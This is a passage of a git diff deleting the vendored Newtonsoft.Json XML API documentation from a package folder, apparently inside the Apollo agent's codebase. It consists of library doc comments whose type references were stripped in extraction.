serialized object. - Specifies the name of the serialized object. - - - - Represents a trace writer. - - - - - Gets the that will be used to filter the trace messages passed to the writer. - For example a filter level of will exclude messages and include , - and messages. - - The that will be used to filter the trace messages passed to the writer. - - - - Writes the specified trace level, message and optional exception. - - The at which to write this trace. - The trace message. - The trace exception. This parameter is optional. - - - - Provides methods to get and set values. - - - - - Sets the value. - - The target to set the value on. - The value to set on the target. - - - - Gets the value. - - The target to get the value from. - The value. - - - - Contract details for a used by the . - - - - - Gets the of the collection items. - - The of the collection items. - - - - Gets a value indicating whether the collection type is a multidimensional array. - - true if the collection type is a multidimensional array; otherwise, false. - - - - Gets or sets the function used to create the object. When set this function will override . - - The function used to create the object. - - - - Gets a value indicating whether the creator has a parameter with the collection values. - - true if the creator has a parameter with the collection values; otherwise, false. - - - - Initializes a new instance of the class. - - The underlying type for the contract. - - - - Contract details for a used by the . - - - - - Gets or sets the default collection items . - - The converter. - - - - Gets or sets a value indicating whether the collection items preserve object references. - - true if collection items preserve object references; otherwise, false. - - - - Gets or sets the collection item reference loop handling. - - The reference loop handling. - - - - Gets or sets the collection item type name handling. - - The type name handling. - - - - Initializes a new instance of the class. - - The underlying type for the contract. - - - - Handles serialization callback events. - - The object that raised the callback event. - The streaming context. - - - - Handles serialization error callback events. - - The object that raised the callback event. - The streaming context. - The error context. - - - - Sets extension data for an object during deserialization. - - The object to set extension data on. - The extension data key. - The extension data value. - - - - Gets extension data for an object during serialization. - - The object to set extension data on. - - - - Contract details for a used by the . - - - - - Gets the underlying type for the contract. - - The underlying type for the contract. - - - - Gets or sets the type created during deserialization. - - The type created during deserialization. - - - - Gets or sets whether this type contract is serialized as a reference. - - Whether this type contract is serialized as a reference. - - - - Gets or sets the default for this contract. - - The converter. - - - - Gets the internally resolved for the contract's type. - This converter is used as a fallback converter when no other converter is resolved. - Setting will always override this converter. - - - - - Gets or sets all methods called immediately after deserialization of the object. - - The methods called immediately after deserialization of the object. - - - - Gets or sets all methods called during deserialization of the object. - - The methods called during deserialization of the object. - - - - Gets or sets all methods called after serialization of the object graph. - - The methods called after serialization of the object graph. - - - - Gets or sets all methods called before serialization of the object. - - The methods called before serialization of the object. - - - - Gets or sets all method called when an error is thrown during the serialization of the object. - - The methods called when an error is thrown during the serialization of the object. - - - - Gets or sets the default creator method used to create the object. - - The default creator method used to create the object. - - - - Gets or sets a value indicating whether the default creator is non-public. - - true if the default object creator is non-public; otherwise, false. - - - - Contract details for a used by the . - - - - - Gets or sets the dictionary key resolver. - - The dictionary key resolver. - - - - Gets the of the dictionary keys. - - The of the dictionary keys. - - - - Gets the of the dictionary values. - - The of the dictionary values. - - - - Gets or sets the function used to create the object. When set this function will override . - - The function used to create the object. - - - - Gets a value indicating whether the creator has a parameter with the dictionary values. - - true if the creator has a parameter with the dictionary values; otherwise, false. - - - - Initializes a new instance of the class. - - The underlying type for the contract. - - - - Contract details for a used by the . - - - - - Gets the object's properties. - - The object's properties. - - - - Gets or sets the property name resolver. - - The property name resolver. - - - - Initializes a new instance of the class. - - The underlying type for the contract. - - - - Contract details for a used by the . - - - - - Gets or sets the object constructor. - - The object constructor. - - - - Initializes a new instance of the class. - - The underlying type for the contract. - - - - Contract details for a used by the . - - - - - Initializes a new instance of the class. - - The underlying type for the contract. - - - - Contract details for a used by the . - - - - - Gets or sets the object member serialization. - - The member object serialization. - - - - Gets or sets the missing member handling used when deserializing this object. - - The missing member handling. - - - - Gets or sets a value that indicates whether the object's properties are required. - - - A value indicating whether the object's properties are required. - - - - - Gets or sets how the object's properties with null values are handled during serialization and deserialization. - - How the object's properties with null values are handled during serialization and deserialization. - - - - Gets the object's properties. - - The object's properties. - - - - Gets a collection of instances that define the parameters used with . - - - - - Gets or sets the function used to create the object. When set this function will override . - This function is called with a collection of arguments which are defined by the collection. - - The function used to create the object. - - - - Gets or sets the extension data setter. - - - - - Gets or sets the extension data getter. - - - - - Gets or sets the extension data value type. - - - - - Gets or sets the extension data name resolver. - - The extension data name resolver. - - - - Initializes a new instance of the class. - - The underlying type for the contract. - - - - Contract details for a used by the . - - - - - Initializes a new instance of the class. - - The underlying type for the contract. - - - - Maps a JSON property to a .NET member or constructor parameter. - - - - - Gets or sets the name of the property. - - The name of the property. - - - - Gets or sets the type that declared this property. - - The type that declared this property. - - - - Gets or sets the order of serialization of a member. - - The numeric order of serialization. - - - - Gets or sets the name of the underlying member or parameter. - - The name of the underlying member or parameter. - - - - Gets the that will get and set the during serialization. - - The that will get and set the during serialization. - - - - Gets or sets the for this property. - - The for this property. - - - - Gets or sets the type of the property. - - The type of the property. - - - - Gets or sets the for the property. - If set this converter takes precedence over the contract converter for the property type. - - The converter. - - - - Gets or sets the member converter. - - The member converter. - - - - Gets or sets a value indicating whether this is ignored. - - true if ignored; otherwise, false. - - - - Gets or sets a value indicating whether this is readable. - - true if readable; otherwise, false. - - - - Gets or sets a value indicating whether this is writable. - - true if writable; otherwise, false. - - - - Gets or sets a value indicating whether this has a member attribute. - - true if has a member attribute; otherwise, false. - - - - Gets the default value. - - The default value. - - - - Gets or sets a value indicating whether this is required. - - A value indicating whether this is required. - - - - Gets a value indicating whether has a value specified. - - - - - Gets or sets a value indicating whether this property preserves object references. - - - true if this instance is reference; otherwise, false. - - - - - Gets or sets the property null value handling. - - The null value handling. - - - - Gets or sets the property default value handling. - - The default value handling. - - - - Gets or sets the property reference loop handling. - - The reference loop handling. - - - - Gets or sets the property object creation handling. - - The object creation handling. - - - - Gets or sets or sets the type name handling. - - The type name handling. - - - - Gets or sets a predicate used to determine whether the property should be serialized. - - A predicate used to determine whether the property should be serialized. - - - - Gets or sets a predicate used to determine whether the property should be deserialized. - - A predicate used to determine whether the property should be deserialized. - - - - Gets or sets a predicate used to determine whether the property should be serialized. - - A predicate used to determine whether the property should be serialized. - - - - Gets or sets an action used to set whether the property has been deserialized. - - An action used to set whether the property has been deserialized. - - - - Returns a that represents this instance. - - - A that represents this instance. - - - - - Gets or sets the converter used when serializing the property's collection items. - - The collection's items converter. - - - - Gets or sets whether this property's collection items are serialized as a reference. - - Whether this property's collection items are serialized as a reference. - - - - Gets or sets the type name handling used when serializing the property's collection items. - - The collection's items type name handling. - - - - Gets or sets the reference loop handling used when serializing the property's collection items. - - The collection's items reference loop handling. - - - - A collection of objects. - - - - - Initializes a new instance of the class. - - The type. - - - - When implemented in a derived class, extracts the key from the specified element. - - The element from which to extract the key. - The key for the specified element. - - - - Adds a object. - - The property to add to the collection. - - - - Gets the closest matching object. - First attempts to get an exact case match of and then - a case insensitive match. - - Name of the property. - A matching property if found. - - - - Gets a property by property name. - - The name of the property to get. - Type property name string comparison. - A matching property if found. - - - - Contract details for a used by the . - - - - - Initializes a new instance of the class. - - The underlying type for the contract. - - - - Lookup and create an instance of the type described by the argument. - - The type to create. - Optional arguments to pass to an initializing constructor of the JsonConverter. - If null, the default constructor is used. - - - - A kebab case naming strategy. - - - - - Initializes a new instance of the class. - - - A flag indicating whether dictionary keys should be processed. - - - A flag indicating whether explicitly specified property names should be processed, - e.g. a property name customized with a . - - - - - Initializes a new instance of the class. - - - A flag indicating whether dictionary keys should be processed. - - - A flag indicating whether explicitly specified property names should be processed, - e.g. a property name customized with a . - - - A flag indicating whether extension data names should be processed. - - - - - Initializes a new instance of the class. - - - - - Resolves the specified property name. - - The property name to resolve. - The resolved property name. - - - - Represents a trace writer that writes to memory. When the trace message limit is - reached then old trace messages will be removed as new messages are added. - - - - - Gets the that will be used to filter the trace messages passed to the writer. - For example a filter level of will exclude messages and include , - and messages. - - - The that will be used to filter the trace messages passed to the writer. - - - - - Initializes a new instance of the class. - - - - - Writes the specified trace level, message and optional exception. - - The at which to write this trace. - The trace message. - The trace exception. This parameter is optional. - - - - Returns an enumeration of the most recent trace messages. - - An enumeration of the most recent trace messages. - - - - Returns a of the most recent trace messages. - - - A of the most recent trace messages. - - - - - A base class for resolving how property names and dictionary keys are serialized. - - - - - A flag indicating whether dictionary keys should be processed. - Defaults to false. - - - - - A flag indicating whether extension data names should be processed. - Defaults to false. - - - - - A flag indicating whether explicitly specified property names, - e.g. a property name customized with a , should be processed. - Defaults to false. - - - - - Gets the serialized name for a given property name. - - The initial property name. - A flag indicating whether the property has had a name explicitly specified. - The serialized property name. - - - - Gets the serialized name for a given extension data name. - - The initial extension data name. - The serialized extension data name. - - - - Gets the serialized key for a given dictionary key. - - The initial dictionary key. - The serialized dictionary key. - - - - Resolves the specified property name. - - The property name to resolve. - The resolved property name. - - - - Hash code calculation - - - - - - Object equality implementation - - - - - - - Compare to another NamingStrategy - - - - - - - Represents a method that constructs an object. - - The object type to create. - - - - When applied to a method, specifies that the method is called when an error occurs serializing an object. - - - - - Provides methods to get attributes from a , , or . - - - - - Initializes a new instance of the class. - - The instance to get attributes for. This parameter should be a , , or . - - - - Returns a collection of all of the attributes, or an empty collection if there are no attributes. - - When true, look up the hierarchy chain for the inherited custom attribute. - A collection of s, or an empty collection. - - - - Returns a collection of attributes, identified by type, or an empty collection if there are no attributes. - - The type of the attributes. - When true, look up the hierarchy chain for the inherited custom attribute. - A collection of s, or an empty collection. - - - - Get and set values for a using reflection. - - - - - Initializes a new instance of the class. - - The member info. - - - - Sets the value. - - The target to set the value on. - The value to set on the target. - - - - Gets the value. - - The target to get the value from. - The value. - - - - A snake case naming strategy. - - - - - Initializes a new instance of the class. - - - A flag indicating whether dictionary keys should be processed. - - - A flag indicating whether explicitly specified property names should be processed, - e.g. a property name customized with a . - - - - - Initializes a new instance of the class. - - - A flag indicating whether dictionary keys should be processed. - - - A flag indicating whether explicitly specified property names should be processed, - e.g. a property name customized with a . - - - A flag indicating whether extension data names should be processed. - - - - - Initializes a new instance of the class. - - - - - Resolves the specified property name. - - The property name to resolve. - The resolved property name. - - - - Specifies how strings are escaped when writing JSON text. - - - - - Only control characters (e.g. newline) are escaped. - - - - - All non-ASCII and control characters (e.g. newline) are escaped. - - - - - HTML (<, >, &, ', ") and control characters (e.g. newline) are escaped. - - - - - Indicates the method that will be used during deserialization for locating and loading assemblies. - - - - - In simple mode, the assembly used during deserialization need not match exactly the assembly used during serialization. Specifically, the version numbers need not match as the LoadWithPartialName method of the class is used to load the assembly. - - - - - In full mode, the assembly used during deserialization must match exactly the assembly used during serialization. The Load method of the class is used to load the assembly. - - - - - Specifies type name handling options for the . - - - should be used with caution when your application deserializes JSON from an external source. - Incoming types should be validated with a custom - when deserializing with a value other than . - - - - - Do not include the .NET type name when serializing types. - - - - - Include the .NET type name when serializing into a JSON object structure. - - - - - Include the .NET type name when serializing into a JSON array structure. - - - - - Always include the .NET type name when serializing. - - - - - Include the .NET type name when the type of the object being serialized is not the same as its declared type. - Note that this doesn't include the root serialized object by default. To include the root object's type name in JSON - you must specify a root type object with - or . - - - - - Determines whether the collection is null or empty. - - The collection. - - true if the collection is null or empty; otherwise, false. - - - - - Adds the elements of the specified collection to the specified generic . - - The list to add to. - The collection of elements to add. - - - - Converts the value to the specified type. If the value is unable to be converted, the - value is checked whether it assignable to the specified type. - - The value to convert. - The culture to use when converting. - The type to convert or cast the value to. - - The converted type. If conversion was unsuccessful, the initial value - is returned if assignable to the target type. - - - - - Helper method for generating a MetaObject which calls a - specific method on Dynamic that returns a result - - - - - Helper method for generating a MetaObject which calls a - specific method on Dynamic, but uses one of the arguments for - the result. - - - - - Helper method for generating a MetaObject which calls a - specific method on Dynamic, but uses one of the arguments for - the result. - - - - - Returns a Restrictions object which includes our current restrictions merged - with a restriction limiting our type - - - - - Helper class for serializing immutable collections. - Note that this is used by all builds, even those that don't support immutable collections, in case the DLL is GACed - https://github.com/JamesNK/Newtonsoft.Json/issues/652 - - - - - Gets the type of the typed collection's items. - - The type. - The type of the typed collection's items. - - - - Gets the member's underlying type. - - The member. - The underlying type of the member. - - - - Determines whether the property is an indexed property. - - The property. - - true if the property is an indexed property; otherwise, false. - - - - - Gets the member's value on the object. - - The member. - The target object. - The member's value on the object. - - - - Sets the member's value on the target object. - - The member. - The target. - The value. - - - - Determines whether the specified MemberInfo can be read. - - The MemberInfo to determine whether can be read. - /// if set to true then allow the member to be gotten non-publicly. - - true if the specified MemberInfo can be read; otherwise, false. - - - - - Determines whether the specified MemberInfo can be set. - - The MemberInfo to determine whether can be set. - if set to true then allow the member to be set non-publicly. - if set to true then allow the member to be set if read-only. - - true if the specified MemberInfo can be set; otherwise, false. - - - - - Builds a string. Unlike this class lets you reuse its internal buffer. - - - - - Determines whether the string is all white space. Empty string will return false. - - The string to test whether it is all white space. - - true if the string is all white space; otherwise, false. - - - - - Specifies the state of the . - - - - - An exception has been thrown, which has left the in an invalid state. - You may call the method to put the in the Closed state. - Any other method calls result in an being thrown. - - - - - The method has been called. - - - - - An object is being written. - - - - - An array is being written. - - - - - A constructor is being written. - - - - - A property is being written. - - - - - A write method has not been called. - - - - Specifies that an output will not be null even if the corresponding type allows it. - - - Specifies that when a method returns , the parameter will not be null even if the corresponding type allows it. - - - Initializes the attribute with the specified return value condition. - - The return value condition. If the method returns this value, the associated parameter will not be null. - - - - Gets the return value condition. - - - Specifies that an output may be null even if the corresponding type disallows it. - - - Specifies that null is allowed as an input even if the corresponding type disallows it. - - - - Specifies that the method will not return if the associated Boolean parameter is passed the specified value. - - - - - Initializes a new instance of the class. - - - The condition parameter value. Code after the method will be considered unreachable by diagnostics if the argument to - the associated parameter matches this value. - - - - Gets the condition parameter value. - - - diff --git a/Payload_Type/apollo/apollo/agent_code/packages/Newtonsoft.Json.13.0.3/lib/net6.0/Newtonsoft.Json.xml b/Payload_Type/apollo/apollo/agent_code/packages/Newtonsoft.Json.13.0.3/lib/net6.0/Newtonsoft.Json.xml deleted file mode 100644 index 6e3a52b3..00000000 --- a/Payload_Type/apollo/apollo/agent_code/packages/Newtonsoft.Json.13.0.3/lib/net6.0/Newtonsoft.Json.xml +++ /dev/null @@ -1,11325 +0,0 @@ - - - - Newtonsoft.Json - - - - - Represents a BSON Oid (object id). - - - - - Gets or sets the value of the Oid. - - The value of the Oid. - - - - Initializes a new instance of the class. - - The Oid value. - - - - Represents a reader that provides fast, non-cached, forward-only access to serialized BSON data. - - - - - Gets or sets a value indicating whether binary data reading should be compatible with incorrect Json.NET 3.5 written binary. - - - true if binary data reading will be compatible with incorrect Json.NET 3.5 written binary; otherwise, false. - - - - - Gets or sets a value indicating whether the root object will be read as a JSON array. - - - true if the root object will be read as a JSON array; otherwise, false. - - - - - Gets or sets the used when reading values from BSON. - - The used when reading values from BSON. - - - - Initializes a new instance of the class. - - The containing the BSON data to read. - - - - Initializes a new instance of the class. - - The containing the BSON data to read. - - - - Initializes a new instance of the class. - - The containing the BSON data to read. - if set to true the root object will be read as a JSON array. - The used when reading values from BSON. - - - - Initializes a new instance of the class. - - The containing the BSON data to read. - if set to true the root object will be read as a JSON array. - The used when reading values from BSON. - - - - Reads the next JSON token from the underlying . - - - true if the next token was read successfully; false if there are no more tokens to read. - - - - - Changes the reader's state to . - If is set to true, the underlying is also closed. - - - - - Represents a writer that provides a fast, non-cached, forward-only way of generating BSON data. - - - - - Gets or sets the used when writing values to BSON. - When set to no conversion will occur. - - The used when writing values to BSON. - - - - Initializes a new instance of the class. - - The to write to. - - - - Initializes a new instance of the class. - - The to write to. - - - - Flushes whatever is in the buffer to the underlying and also flushes the underlying stream. - - - - - Writes the end. - - The token. - - - - Writes a comment /*...*/ containing the specified text. - - Text to place inside the comment. - - - - Writes the start of a constructor with the given name. - - The name of the constructor. - - - - Writes raw JSON. - - The raw JSON to write. - - - - Writes raw JSON where a value is expected and updates the writer's state. - - The raw JSON to write. - - - - Writes the beginning of a JSON array. - - - - - Writes the beginning of a JSON object. - - - - - Writes the property name of a name/value pair on a JSON object. - - The name of the property. - - - - Closes this writer. - If is set to true, the underlying is also closed. - If is set to true, the JSON is auto-completed. - - - - - Writes a value. - An error will raised if the value cannot be written as a single JSON token. - - The value to write. - - - - Writes a null value. - - - - - Writes an undefined value. - - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a [] value. - - The [] value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a [] value that represents a BSON object id. - - The Object ID value to write. - - - - Writes a BSON regex. - - The regex pattern. - The regex options. - - - - Specifies how constructors are used when initializing objects during deserialization by the . - - - - - First attempt to use the public default constructor, then fall back to a single parameterized constructor, then to the non-public default constructor. - - - - - Json.NET will use a non-public default constructor before falling back to a parameterized constructor. - - - - - Converts a binary value to and from a base 64 string value. - - - - - Writes the JSON representation of the object. - - The to write to. - The value. - The calling serializer. - - - - Reads the JSON representation of the object. - - The to read from. - Type of the object. - The existing value of object being read. - The calling serializer. - The object value. - - - - Determines whether this instance can convert the specified object type. - - Type of the object. - - true if this instance can convert the specified object type; otherwise, false. - - - - - Converts a to and from JSON and BSON. - - - - - Writes the JSON representation of the object. - - The to write to. - The value. - The calling serializer. - - - - Reads the JSON representation of the object. - - The to read from. - Type of the object. - The existing value of object being read. - The calling serializer. - The object value. - - - - Determines whether this instance can convert the specified object type. - - Type of the object. - - true if this instance can convert the specified object type; otherwise, false. - - - - - Creates a custom object. - - The object type to convert. - - - - Writes the JSON representation of the object. - - The to write to. - The value. - The calling serializer. - - - - Reads the JSON representation of the object. - - The to read from. - Type of the object. - The existing value of object being read. - The calling serializer. - The object value. - - - - Creates an object which will then be populated by the serializer. - - Type of the object. - The created object. - - - - Determines whether this instance can convert the specified object type. - - Type of the object. - - true if this instance can convert the specified object type; otherwise, false. - - - - - Gets a value indicating whether this can write JSON. - - - true if this can write JSON; otherwise, false. - - - - - Converts a to and from JSON. - - - - - Writes the JSON representation of the object. - - The to write to. - The value. - The calling serializer. - - - - Reads the JSON representation of the object. - - The to read from. - Type of the object. - The existing value of object being read. - The calling serializer. - The object value. - - - - Determines whether this instance can convert the specified value type. - - Type of the value. - - true if this instance can convert the specified value type; otherwise, false. - - - - - Converts a to and from JSON. - - - - - Writes the JSON representation of the object. - - The to write to. - The value. - The calling serializer. - - - - Reads the JSON representation of the object. - - The to read from. - Type of the object. - The existing value of object being read. - The calling serializer. - The object value. - - - - Determines whether this instance can convert the specified value type. - - Type of the value. - - true if this instance can convert the specified value type; otherwise, false. - - - - - Provides a base class for converting a to and from JSON. - - - - - Determines whether this instance can convert the specified object type. - - Type of the object. - - true if this instance can convert the specified object type; otherwise, false. - - - - - Converts a F# discriminated union type to and from JSON. - - - - - Writes the JSON representation of the object. - - The to write to. - The value. - The calling serializer. - - - - Reads the JSON representation of the object. - - The to read from. - Type of the object. - The existing value of object being read. - The calling serializer. - The object value. - - - - Determines whether this instance can convert the specified object type. - - Type of the object. - - true if this instance can convert the specified object type; otherwise, false. - - - - - Converts an Entity Framework to and from JSON. - - - - - Writes the JSON representation of the object. - - The to write to. - The value. - The calling serializer. - - - - Reads the JSON representation of the object. - - The to read from. - Type of the object. - The existing value of object being read. - The calling serializer. - The object value. - - - - Determines whether this instance can convert the specified object type. - - Type of the object. - - true if this instance can convert the specified object type; otherwise, false. - - - - - Converts an to and from JSON. - - - - - Writes the JSON representation of the object. - - The to write to. - The value. - The calling serializer. - - - - Reads the JSON representation of the object. - - The to read from. - Type of the object. - The existing value of object being read. - The calling serializer. - The object value. - - - - Determines whether this instance can convert the specified object type. - - Type of the object. - - true if this instance can convert the specified object type; otherwise, false. - - - - - Gets a value indicating whether this can write JSON. - - - true if this can write JSON; otherwise, false. - - - - - Converts a to and from the ISO 8601 date format (e.g. "2008-04-12T12:53Z"). - - - - - Gets or sets the date time styles used when converting a date to and from JSON. - - The date time styles used when converting a date to and from JSON. - - - - Gets or sets the date time format used when converting a date to and from JSON. - - The date time format used when converting a date to and from JSON. - - - - Gets or sets the culture used when converting a date to and from JSON. - - The culture used when converting a date to and from JSON. - - - - Writes the JSON representation of the object. - - The to write to. - The value. - The calling serializer. - - - - Reads the JSON representation of the object. - - The to read from. - Type of the object. - The existing value of object being read. - The calling serializer. - The object value. - - - - Converts a to and from a JavaScript Date constructor (e.g. new Date(52231943)). - - - - - Writes the JSON representation of the object. - - The to write to. - The value. - The calling serializer. - - - - Reads the JSON representation of the object. - - The to read from. - Type of the object. - The existing property value of the JSON that is being converted. - The calling serializer. - The object value. - - - - Converts a to and from JSON. - - - - - Writes the JSON representation of the object. - - The to write to. - The value. - The calling serializer. - - - - Reads the JSON representation of the object. - - The to read from. - Type of the object. - The existing value of object being read. - The calling serializer. - The object value. - - - - Determines whether this instance can convert the specified object type. - - Type of the object. - - true if this instance can convert the specified object type; otherwise, false. - - - - - Converts a to and from JSON and BSON. - - - - - Writes the JSON representation of the object. - - The to write to. - The value. - The calling serializer. - - - - Reads the JSON representation of the object. - - The to read from. - Type of the object. - The existing value of object being read. - The calling serializer. - The object value. - - - - Determines whether this instance can convert the specified object type. - - Type of the object. - - true if this instance can convert the specified object type; otherwise, false. - - - - - Converts an to and from its name string value. - - - - - Gets or sets a value indicating whether the written enum text should be camel case. - The default value is false. - - true if the written enum text will be camel case; otherwise, false. - - - - Gets or sets the naming strategy used to resolve how enum text is written. - - The naming strategy used to resolve how enum text is written. - - - - Gets or sets a value indicating whether integer values are allowed when serializing and deserializing. - The default value is true. - - true if integers are allowed when serializing and deserializing; otherwise, false. - - - - Initializes a new instance of the class. - - - - - Initializes a new instance of the class. - - true if the written enum text will be camel case; otherwise, false. - - - - Initializes a new instance of the class. - - The naming strategy used to resolve how enum text is written. - true if integers are allowed when serializing and deserializing; otherwise, false. - - - - Initializes a new instance of the class. - - The of the used to write enum text. - - - - Initializes a new instance of the class. - - The of the used to write enum text. - - The parameter list to use when constructing the described by . - If null, the default constructor is used. - When non-null, there must be a constructor defined in the that exactly matches the number, - order, and type of these parameters. - - - - - Initializes a new instance of the class. - - The of the used to write enum text. - - The parameter list to use when constructing the described by . - If null, the default constructor is used. - When non-null, there must be a constructor defined in the that exactly matches the number, - order, and type of these parameters. - - true if integers are allowed when serializing and deserializing; otherwise, false. - - - - Writes the JSON representation of the object. - - The to write to. - The value. - The calling serializer. - - - - Reads the JSON representation of the object. - - The to read from. - Type of the object. - The existing value of object being read. - The calling serializer. - The object value. - - - - Determines whether this instance can convert the specified object type. - - Type of the object. - - true if this instance can convert the specified object type; otherwise, false. - - - - - Converts a to and from Unix epoch time - - - - - Gets or sets a value indicating whether the dates before Unix epoch - should converted to and from JSON. - - - true to allow converting dates before Unix epoch to and from JSON; - false to throw an exception when a date being converted to or from JSON - occurred before Unix epoch. The default value is false. - - - - - Initializes a new instance of the class. - - - - - Initializes a new instance of the class. - - - true to allow converting dates before Unix epoch to and from JSON; - false to throw an exception when a date being converted to or from JSON - occurred before Unix epoch. The default value is false. - - - - - Writes the JSON representation of the object. - - The to write to. - The value. - The calling serializer. - - - - Reads the JSON representation of the object. - - The to read from. - Type of the object. - The existing property value of the JSON that is being converted. - The calling serializer. - The object value. - - - - Converts a to and from a string (e.g. "1.2.3.4"). - - - - - Writes the JSON representation of the object. - - The to write to. - The value. - The calling serializer. - - - - Reads the JSON representation of the object. - - The to read from. - Type of the object. - The existing property value of the JSON that is being converted. - The calling serializer. - The object value. - - - - Determines whether this instance can convert the specified object type. - - Type of the object. - - true if this instance can convert the specified object type; otherwise, false. - - - - - Converts XML to and from JSON. - - - - - Gets or sets the name of the root element to insert when deserializing to XML if the JSON structure has produced multiple root elements. - - The name of the deserialized root element. - - - - Gets or sets a value to indicate whether to write the Json.NET array attribute. - This attribute helps preserve arrays when converting the written XML back to JSON. - - true if the array attribute is written to the XML; otherwise, false. - - - - Gets or sets a value indicating whether to write the root JSON object. - - true if the JSON root object is omitted; otherwise, false. - - - - Gets or sets a value indicating whether to encode special characters when converting JSON to XML. - If true, special characters like ':', '@', '?', '#' and '$' in JSON property names aren't used to specify - XML namespaces, attributes or processing directives. Instead special characters are encoded and written - as part of the XML element name. - - true if special characters are encoded; otherwise, false. - - - - Writes the JSON representation of the object. - - The to write to. - The calling serializer. - The value. - - - - Reads the JSON representation of the object. - - The to read from. - Type of the object. - The existing value of object being read. - The calling serializer. - The object value. - - - - Checks if the is a namespace attribute. - - Attribute name to test. - The attribute name prefix if it has one, otherwise an empty string. - true if attribute name is for a namespace attribute, otherwise false. - - - - Determines whether this instance can convert the specified value type. - - Type of the value. - - true if this instance can convert the specified value type; otherwise, false. - - - - - Specifies how dates are formatted when writing JSON text. - - - - - Dates are written in the ISO 8601 format, e.g. "2012-03-21T05:40Z". - - - - - Dates are written in the Microsoft JSON format, e.g. "\/Date(1198908717056)\/". - - - - - Specifies how date formatted strings, e.g. "\/Date(1198908717056)\/" and "2012-03-21T05:40Z", are parsed when reading JSON text. - - - - - Date formatted strings are not parsed to a date type and are read as strings. - - - - - Date formatted strings, e.g. "\/Date(1198908717056)\/" and "2012-03-21T05:40Z", are parsed to . - - - - - Date formatted strings, e.g. "\/Date(1198908717056)\/" and "2012-03-21T05:40Z", are parsed to . - - - - - Specifies how to treat the time value when converting between string and . - - - - - Treat as local time. If the object represents a Coordinated Universal Time (UTC), it is converted to the local time. - - - - - Treat as a UTC. If the object represents a local time, it is converted to a UTC. - - - - - Treat as a local time if a is being converted to a string. - If a string is being converted to , convert to a local time if a time zone is specified. - - - - - Time zone information should be preserved when converting. - - - - - The default JSON name table implementation. - - - - - Initializes a new instance of the class. - - - - - Gets a string containing the same characters as the specified range of characters in the given array. - - The character array containing the name to find. - The zero-based index into the array specifying the first character of the name. - The number of characters in the name. - A string containing the same characters as the specified range of characters in the given array. - - - - Adds the specified string into name table. - - The string to add. - This method is not thread-safe. - The resolved string. - - - - Specifies default value handling options for the . - - - - - - - - - Include members where the member value is the same as the member's default value when serializing objects. - Included members are written to JSON. Has no effect when deserializing. - - - - - Ignore members where the member value is the same as the member's default value when serializing objects - so that it is not written to JSON. - This option will ignore all default values (e.g. null for objects and nullable types; 0 for integers, - decimals and floating point numbers; and false for booleans). The default value ignored can be changed by - placing the on the property. - - - - - Members with a default value but no JSON will be set to their default value when deserializing. - - - - - Ignore members where the member value is the same as the member's default value when serializing objects - and set members to their default value when deserializing. - - - - - Specifies float format handling options when writing special floating point numbers, e.g. , - and with . - - - - - Write special floating point values as strings in JSON, e.g. "NaN", "Infinity", "-Infinity". - - - - - Write special floating point values as symbols in JSON, e.g. NaN, Infinity, -Infinity. - Note that this will produce non-valid JSON. - - - - - Write special floating point values as the property's default value in JSON, e.g. 0.0 for a property, null for a of property. - - - - - Specifies how floating point numbers, e.g. 1.0 and 9.9, are parsed when reading JSON text. - - - - - Floating point numbers are parsed to . - - - - - Floating point numbers are parsed to . - - - - - Specifies formatting options for the . - - - - - No special formatting is applied. This is the default. - - - - - Causes child objects to be indented according to the and settings. - - - - - Provides an interface for using pooled arrays. - - The array type content. - - - - Rent an array from the pool. This array must be returned when it is no longer needed. - - The minimum required length of the array. The returned array may be longer. - The rented array from the pool. This array must be returned when it is no longer needed. - - - - Return an array to the pool. - - The array that is being returned. - - - - Provides an interface to enable a class to return line and position information. - - - - - Gets a value indicating whether the class can return line information. - - - true if and can be provided; otherwise, false. - - - - - Gets the current line number. - - The current line number or 0 if no line information is available (for example, when returns false). - - - - Gets the current line position. - - The current line position or 0 if no line information is available (for example, when returns false). - - - - Instructs the how to serialize the collection. - - - - - Gets or sets a value indicating whether null items are allowed in the collection. - - true if null items are allowed in the collection; otherwise, false. - - - - Initializes a new instance of the class. - - - - - Initializes a new instance of the class with a flag indicating whether the array can contain null items. - - A flag indicating whether the array can contain null items. - - - - Initializes a new instance of the class with the specified container Id. - - The container Id. - - - - Instructs the to use the specified constructor when deserializing that object. - - - - - Instructs the how to serialize the object. - - - - - Gets or sets the id. - - The id. - - - - Gets or sets the title. - - The title. - - - - Gets or sets the description. - - The description. - - - - Gets or sets the collection's items converter. - - The collection's items converter. - - - - The parameter list to use when constructing the described by . - If null, the default constructor is used. - When non-null, there must be a constructor defined in the that exactly matches the number, - order, and type of these parameters. - - - - [JsonContainer(ItemConverterType = typeof(MyContainerConverter), ItemConverterParameters = new object[] { 123, "Four" })] - - - - - - Gets or sets the of the . - - The of the . - - - - The parameter list to use when constructing the described by . - If null, the default constructor is used. - When non-null, there must be a constructor defined in the that exactly matches the number, - order, and type of these parameters. - - - - [JsonContainer(NamingStrategyType = typeof(MyNamingStrategy), NamingStrategyParameters = new object[] { 123, "Four" })] - - - - - - Gets or sets a value that indicates whether to preserve object references. - - - true to keep object reference; otherwise, false. The default is false. - - - - - Gets or sets a value that indicates whether to preserve collection's items references. - - - true to keep collection's items object references; otherwise, false. The default is false. - - - - - Gets or sets the reference loop handling used when serializing the collection's items. - - The reference loop handling. - - - - Gets or sets the type name handling used when serializing the collection's items. - - The type name handling. - - - - Initializes a new instance of the class. - - - - - Initializes a new instance of the class with the specified container Id. - - The container Id. - - - - Provides methods for converting between .NET types and JSON types. - - - - - - - - Gets or sets a function that creates default . - Default settings are automatically used by serialization methods on , - and and on . - To serialize without using any default settings create a with - . - - - - - Represents JavaScript's boolean value true as a string. This field is read-only. - - - - - Represents JavaScript's boolean value false as a string. This field is read-only. - - - - - Represents JavaScript's null as a string. This field is read-only. - - - - - Represents JavaScript's undefined as a string. This field is read-only. - - - - - Represents JavaScript's positive infinity as a string. This field is read-only. - - - - - Represents JavaScript's negative infinity as a string. 